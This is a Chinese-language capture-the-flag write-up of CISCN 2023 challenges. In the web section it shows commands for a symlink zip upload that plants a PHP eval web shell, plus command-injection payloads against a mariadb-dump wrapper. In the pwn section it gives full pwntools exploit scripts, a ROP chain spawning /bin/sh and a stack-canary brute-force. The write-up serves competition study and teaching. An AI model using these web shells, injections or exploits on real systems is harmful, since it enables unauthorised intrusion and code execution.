CISCN 2023 Writeup

13 min read

写在前面

一年比一年卷是吧,前年24小时不间断高考模式,去年的黑灯模式,今年比两天😥,另外由于我校不认CISCN这种小比赛,所以简单划划水。

Misc

签到卡

早在1928年,IBM发明了80列、矩形孔卡片,并将它们用于数字计算机中,开启了穿孔卡片在计算领域中的应用之路。随着技术的进步,穿孔卡片的字符表示方式也不断更新,从6比特的BCDIC发展到1964年8比特的EBCDIC。

现在,春秋GAME伽玛实验室团队模拟了一台IBM 029型打孔机,再通过模拟IBM System/360功能,让其具备了执行代码命令的功能。请点击下发按钮,跟随着打孔机的滴答声,重返计算科技的辉煌岁月~!

image-20230527102202311

直接根据 hint 得到 flag

print(open('/flag').read())

image-20230527102349000

国粹

a.png 为横坐标,k.png 为纵坐标,题目.png 为计算坐标时的参考值,比如四条在 题目.png 中排 第1 ,则 a.png 中的 四条 就代表数值 1 。但 题目.png 第一列要裁掉,因为第一行第一列为 空白像素,做题的时候我是直接用PS把第一列和第一行都裁掉了,但是我通过 Python 裁剪,发现没成功,所以代码里直接剪掉了 986595,以达到在PS中的效果

import numpy as np
from PIL import Image
import matplotlib.pyplot as plt

def crop_image(image_path, crop_width, crop_height, data_list=None):
    image = Image.open(image_path)
    width, height = image.size

    cropped_images = []
    for left in range(0, width, crop_width):
        for top in range(0, height, crop_height):
            right = left + crop_width
            bottom = top + crop_height
            cropped_images.append(image.crop((left, top, right, bottom)))

    result = []
    for cropped_image in cropped_images:
        cropped_np = np.sum(cropped_image)
        if data_list is None:
            result.append(cropped_np - 986595)
        elif cropped_np in data_list:
            result.append(data_list.index(cropped_np) + 1)

    return result

data_list = crop_image('题目.png', 53, 73)[1:]
x = crop_image('a.png', 53, 73, data_list)
y = crop_image('k.png', 53, 73, data_list)

plt.scatter(x, y)
plt.xlabel('x')
plt.ylabel('y')
plt.show()

image-20230527203133408

pyshell

flag在/flag,每个容器只支持同时连接一个客户端。部分指令可能导致容器无响应,如果出现这样的情况请重启题目环境

import socket
import threading


class Service(threading.Thread):

    def __init__(self, port):
        threading.Thread.__init__(self)
        self.port = port
        self.sock = socket.create_server(("0.0.0.0", port))
        self.client = socket.socket(socket.AF_INET, socket.SOCK_STREAM)
        self.client.settimeout(2)

    def run(self):
        print("listener started")
        self.client.connect(("127.0.0.1", 12345))
        rabbish = self.client.recv(1024)
        while not rabbish.decode().strip().endswith('>>>'):
            rabbish = self.client.recv(1024)

        while True:
            ss, addr = self.sock.accept()
            print("accept a connect")
            try:
                ss.send(b'Welcome to this python shell,try to find the flag!\r\n')
                while True:
                    ss.send(b'>>')
                    msg = ss.recv(1024)

                    if not msg:
                        continue
                    elif is_validate(msg.decode().strip()):

                        self.client.send(msg)
                        total_result = bytes()
                        while True:
                            try:
                                result = self.client.recv(1024)
                                total_result += result
                                if result.decode().strip().endswith('>>>'):
                                    break
                            except:
                                break

                        print(total_result)
                        if total_result.decode().strip().endswith('>>>'):
                            total_result = total_result[:-4]
                        elif total_result.decode().strip().endswith('...'):
                            self.client.send(b'\r\n')
                            while True:
                                result = self.client.recv(1024)
                                total_result += result
                                if result.decode().strip().endswith('>>>'):
                                    break
                            total_result = total_result[:-4]
                        else:

                            total_result = b'error\r\n'

                        ss.send(total_result)
                    else:
                        ss.send(b'nop\r\n')
                        continue

            except:
                continue


def is_validate(s):
    if 'exit' in s or 'help' in s:
        return False
    if len(s) > 7:
        return False
    if '=' in s:
        return False
    return True


service = Service(10080)
service.run()

通过测试,发现长度限制为 7 ,同时 = 被过滤了,尝试字符拼接绕过

image-20230528151034931

被加密的生产流量

某安全部门发现某涉密工厂生产人员偷偷通过生产网络传输数据给不明人员,通过技术手段截获出一段通讯流量,但是其中的关键信息被进行了加密,请你根据流量包的内容,找出被加密的信息。(得到的字符串需要以flag{xxx}形式提交)

追踪 TCP 流 在 流0 发现一段编码

image-20230527102529552

全取出来后,解码得到 flag

image-20230527102622969

网络安全人才实战能力评价现状调研问卷

为了全面了解我国网络安全人才实战能力评价现状,更好地开展网络安全人才工作,特展开本次问卷调研。在本次活动中,您提供的信息非常宝贵,将极大地帮助网络安全人才建设。

请由队长负责填写,填写完成后会得到一个flag。本题固定分值为5分,前三血无额外加分。

https://www.wjx.cn/vm/h18AIEx.aspx

填写问卷即可

flag{TalentDevelopment}

Crypto

可信度量

题目内容:完整题目背景及描述请见附件。

(请点击“下发赛题”,本题容器下发后的端口是ssh端口,ssh的账号为player,密码为player,登录后请根据题目要求解题)

直接非预期(属实办出特色了

grep -ra "flag{" /

image-20230527114941090

Sign_in_passwd

j2rXjx8yjd=YRZWyTIuwRdbyQdbqR3R9iZmsScutj2iqj3/tidj1jd=D
GHI3KLMNJOPQRSTUb%3DcdefghijklmnopWXYZ%2F12%2B406789VaqrstuvwxyzABCDEF5

Base64 变表,上面是 密文 ,下面是 ,先把表 urldecode 一下即可

image-20230527132554955

基于国密SM2算法的密钥密文分发

完整题目背景及描述请见附件。

补充说明:如成功完成题目,flag会显示在/api/search返回的 json中,如果使用工具发包卡顿,可尝试使用 curl发送数据包

直接照着文档进行操作即可,简单列一下流程

/api/login   // 先上报选手信息
/api/allkey  // 公钥上传获取私钥,公钥在线生成:https://const.net.cn/tool/sm2/genkey/
/api/quantum // 获取密钥
/api/search  // 获取解密后的密钥,quantumStringServer 字段即为解密后的密钥
/api/check   // 密钥验证
/api/search  // 获得flag

Web

unzip

unzip很简单,但是同样也很危险

通过软链接绕过 /tmp 即可,可以参考 https://forum.butian.net/share/906 中的 zipzip

<?php
error_reporting(0);
highlight_file(__FILE__);

$finfo = finfo_open(FILEINFO_MIME_TYPE);
if (finfo_file($finfo, $_FILES["file"]["tmp_name"]) === 'application/zip'){
    exec('cd /tmp && unzip -o ' . $_FILES["file"]["tmp_name"]);
};

//only this!
  1. 软连接 ciscn 指向 /var/www/html ,压缩成 ciscn.zip
  2. 包含一个 ciscn 文件夹,ciscn 文件夹下有 shell.php,写入一句话木马,压缩成 ciscn1.zip

这里简单列一下命令

ln -s /var/www/html ciscn
zip --symlinks ciscn.zip ./*

mkdir ciscn1
cd ciscn1
mkdir ciscn
echo "<?php @eval(@\$_POST['1']);?>" > shell.php
cd ../../
zip -r ciscn1.zip ./ciscn1/*

然后先上传 ciscn.zip 在上传 ciscn1.zip 即可

dumpit

flag in /flag

<?php
$servername = "127.0.0.1";
$username = "www-data";
$password = "";

function is_valid($str){
    $black = ';`*#^$&|';
    for($i=0;$i<strlen($black);$i++){
    	if(!(stristr($str,$black[$i])===FALSE)){
	    return FALSE;
	}
    }
    if(!(stristr($str,'host')===FALSE)){
        return FALSE;
    }
    if(!(stristr($str,'-h')===FALSE)){
        return FALSE;
    }
    return TRUE;
}
try {
    $conn = new PDO("mysql:host=$servername;dbname=ctf", $username, $password);
}
catch(PDOException $e)
{
    die($e->getMessage());
}

if(!isset($_GET['table_2_query']) && !isset($_GET['table_2_dump'])){
    echo 'use ?db=&table_2_query= or ?db=&table_2_dump= to view the tables! etc:?db=ctf&table_2_query=flag1';
    die();
}
if(isset($_GET['db'])){
    $db=$_GET['db'];
}
else{
    die('no db!');
}
if(isset($_GET['table_2_query'])){
    $t2q = $_GET['table_2_query'];
    $sql = "select * from $db.$t2q";
    if(!(is_valid($t2q))){
        die('nop');
    }
    if(!(is_valid($db))){
        die('nop');
    }
    echo $sql;
    echo '</br>';
    try{
    	$stm = $conn->query($sql);
    	$res = $stm->fetch();
    	var_dump($res);
    }
    catch(PDOException $e){
    	die('error');
    }
    die();
}
if(isset($_GET['table_2_dump'])){
    $t2d=$_GET['table_2_dump'];
    if(!(is_valid($t2d))){
        die('nop');
    }
    if(!(is_valid($db))){
        die('nop');
    }

    $randstr = md5(time());
    $dump='mariadb-dump '.$db.' '.$t2d.' >./log/'.$randstr.'.log';
    system($dump);
    echo 'dump log here: <a href=\''.'./log/'.$randstr.'.log'.'\'>here</a>';

}

?>

emm,读了半天没读出来,发现 /flag 的权限位是 400,最后在 phpinfo 发现 flag

?db=&table_2_dump=\<\?\=phpinfo\(\)?\> 2> log/1.php

或者直接通过 %0a 截断后读环境变量

?db=&table_2_dump=%0a env

Pwn

烧烤摊儿

来点小烧烤~

gaming() 里直接通过负数溢出买下烧烤摊即可,链子直接用 ROPgadget 生成

ROPgadget  --binary shaokao --ropchain

from pwn import *

context.log_level = 'debug'
context(os='linux', arch='amd64', terminal=['alacritty', '-e', 'sh', '-c'])

io = remote('39.105.187.49', 21881)
elf = ELF('./shaokao')

send_data = lambda x, y: io.sendlineafter(x, y)
select = lambda x: send_data('> ', str(x))

def pijiu(ty, size):
    select(1)
    send_data('3. 勇闯天涯', str(ty))
    send_data('来几瓶?', str(size))

def vip():
    select(4)

def gaime(name):
    select(5)
    send_data('烧烤摊儿已归你所有,请赐名:', name)

#!/usr/bin/env python3
# execve generated by ROPgadget

from struct import pack

# Padding goes here
p = b''

p += pack('<Q', 0x000000000040a67e) # pop rsi ; ret
p += pack('<Q', 0x00000000004e60e0) # @ .data
p += pack('<Q', 0x0000000000458827) # pop rax ; ret
p += b'/bin//sh'
p += pack('<Q', 0x000000000045af95) # mov qword ptr [rsi], rax ; ret
p += pack('<Q', 0x000000000040a67e) # pop rsi ; ret
p += pack('<Q', 0x00000000004e60e8) # @ .data + 8
p += pack('<Q', 0x0000000000447339) # xor rax, rax ; ret
p += pack('<Q', 0x000000000045af95) # mov qword ptr [rsi], rax ; ret
p += pack('<Q', 0x000000000040264f) # pop rdi ; ret
p += pack('<Q', 0x00000000004e60e0) # @ .data
p += pack('<Q', 0x000000000040a67e) # pop rsi ; ret
p += pack('<Q', 0x00000000004e60e8) # @ .data + 8
p += pack('<Q', 0x00000000004a404b) # pop rdx ; pop rbx ; ret
p += pack('<Q', 0x00000000004e60e8) # @ .data + 8
p += pack('<Q', 0x4141414141414141) # padding
p += pack('<Q', 0x0000000000447339) # xor rax, rax ; ret
p += pack('<Q', 0x0000000000496710) # add rax, 1 ; ret
p += pack('<Q', 0x0000000000496710) # add rax, 1 ; ret
p += pack('<Q', 0x0000000000496710) # add rax, 1 ; ret
p += pack('<Q', 0x0000000000496710) # add rax, 1 ; ret
p += pack('<Q', 0x0000000000496710) # add rax, 1 ; ret
p += pack('<Q', 0x0000000000496710) # add rax, 1 ; ret
p += pack('<Q', 0x0000000000496710) # add rax, 1 ; ret
p += pack('<Q', 0x0000000000496710) # add rax, 1 ; ret
p += pack('<Q', 0x0000000000496710) # add rax, 1 ; ret
p += pack('<Q', 0x0000000000496710) # add rax, 1 ; ret
p += pack('<Q', 0x0000000000496710) # add rax, 1 ; ret
p += pack('<Q', 0x0000000000496710) # add rax, 1 ; ret
p += pack('<Q', 0x0000000000496710) # add rax, 1 ; ret
p += pack('<Q', 0x0000000000496710) # add rax, 1 ; ret
p += pack('<Q', 0x0000000000496710) # add rax, 1 ; ret
p += pack('<Q', 0x0000000000496710) # add rax, 1 ; ret
p += pack('<Q', 0x0000000000496710) # add rax, 1 ; ret
p += pack('<Q', 0x0000000000496710) # add rax, 1 ; ret
p += pack('<Q', 0x0000000000496710) # add rax, 1 ; ret
p += pack('<Q', 0x0000000000496710) # add rax, 1 ; ret
p += pack('<Q', 0x0000000000496710) # add rax, 1 ; ret
p += pack('<Q', 0x0000000000496710) # add rax, 1 ; ret
p += pack('<Q', 0x0000000000496710) # add rax, 1 ; ret
p += pack('<Q', 0x0000000000496710) # add rax, 1 ; ret
p += pack('<Q', 0x0000000000496710) # add rax, 1 ; ret
p += pack('<Q', 0x0000000000496710) # add rax, 1 ; ret
p += pack('<Q', 0x0000000000496710) # add rax, 1 ; ret
p += pack('<Q', 0x0000000000496710) # add rax, 1 ; ret
p += pack('<Q', 0x0000000000496710) # add rax, 1 ; ret
p += pack('<Q', 0x0000000000496710) # add rax, 1 ; ret
p += pack('<Q', 0x0000000000496710) # add rax, 1 ; ret
p += pack('<Q', 0x0000000000496710) # add rax, 1 ; ret
p += pack('<Q', 0x0000000000496710) # add rax, 1 ; ret
p += pack('<Q', 0x0000000000496710) # add rax, 1 ; ret
p += pack('<Q', 0x0000000000496710) # add rax, 1 ; ret
p += pack('<Q', 0x0000000000496710) # add rax, 1 ; ret
p += pack('<Q', 0x0000000000496710) # add rax, 1 ; ret
p += pack('<Q', 0x0000000000496710) # add rax, 1 ; ret
p += pack('<Q', 0x0000000000496710) # add rax, 1 ; ret
p += pack('<Q', 0x0000000000496710) # add rax, 1 ; ret
p += pack('<Q', 0x0000000000496710) # add rax, 1 ; ret
p += pack('<Q', 0x0000000000496710) # add rax, 1 ; ret
p += pack('<Q', 0x0000000000496710) # add rax, 1 ; ret
p += pack('<Q', 0x0000000000496710) # add rax, 1 ; ret
p += pack('<Q', 0x0000000000496710) # add rax, 1 ; ret
p += pack('<Q', 0x0000000000496710) # add rax, 1 ; ret
p += pack('<Q', 0x0000000000496710) # add rax, 1 ; ret
p += pack('<Q', 0x0000000000496710) # add rax, 1 ; ret
p += pack('<Q', 0x0000000000496710) # add rax, 1 ; ret
p += pack('<Q', 0x0000000000496710) # add rax, 1 ; ret
p += pack('<Q', 0x0000000000496710) # add rax, 1 ; ret
p += pack('<Q', 0x0000000000496710) # add rax, 1 ; ret
p += pack('<Q', 0x0000000000496710) # add rax, 1 ; ret
p += pack('<Q', 0x0000000000496710) # add rax, 1 ; ret
p += pack('<Q', 0x0000000000496710) # add rax, 1 ; ret
p += pack('<Q', 0x0000000000496710) # add rax, 1 ; ret
p += pack('<Q', 0x0000000000496710) # add rax, 1 ; ret
p += pack('<Q', 0x0000000000496710) # add rax, 1 ; ret
p += pack('<Q', 0x0000000000496710) # add rax, 1 ; ret
p += pack('<Q', 0x0000000000402404) # syscall

pijiu(1,-200000)
vip()
gaime(b'a' * 0x20 + p64(0xdeadbeef) + p)
io.interactive()

funcanary

canary还是那个canary,flag还是那个flag

构造缓冲区溢出数据,同时需要爆破Canary和偏移量。

from pwn import *

context.log_level = 'debug'
context(os='linux', arch='amd64', terminal=['alacritty', '-e', 'sh', '-c'])

io = remote('47.95.212.224', 31827)
elf = ELF('./funcanary')

send_data = lambda x: io.send(x)
receive_until = lambda x: io.recvuntil(x)
debug = lambda x: gdb.attach(io, gdbscript=x)

canary = b'\0'

receive_until('welcome')
for j in range(7):
    for i in range(0x100):
        send_data(b'a' * 0x68 + canary + p8(i))
        recv = receive_until('welcome')
        if b'fun' in recv:
            canary += p8(i)
            break

for i in range(0x10):
    payload = b'a' * 0x68 + canary + p64(0xdeadbeef) + p8(0x28) + p8(i * 0x10 + 2)
    send_data(payload)
    recv = receive_until('welcome')
    if b'flag{' in recv:
        flag = recv.split(b'flag{')[1].split(b'}')[0]
        print(f'Flag: flag{{{flag.decode()}}}')
        break

io.interactive()

Reverse

babyRE

baby也能做出来的RE

下载附件,得到一个 xml ,其制作来源为可视化编程网站 https://snap.berkeley.edu/snap/snap.html ,分析逻辑发现就是前后异或

image-20230528111850886

a = [102,10,13,6,28,74,3,1,3,7,85,0,4,75,20,92,92,8,28,25,81,83,7,28,76,88,9,0,29,73,0,86,4,87,87,82,84,85,4,85,87,30]

result = a[0]
flag = ''
for i in range(1, len(a)):
    result ^= a[i]
    flag += chr(result)
print('f' + flag)
# flag{12307bbf-9e91-4e61-a900-dd26a6d0ea4c}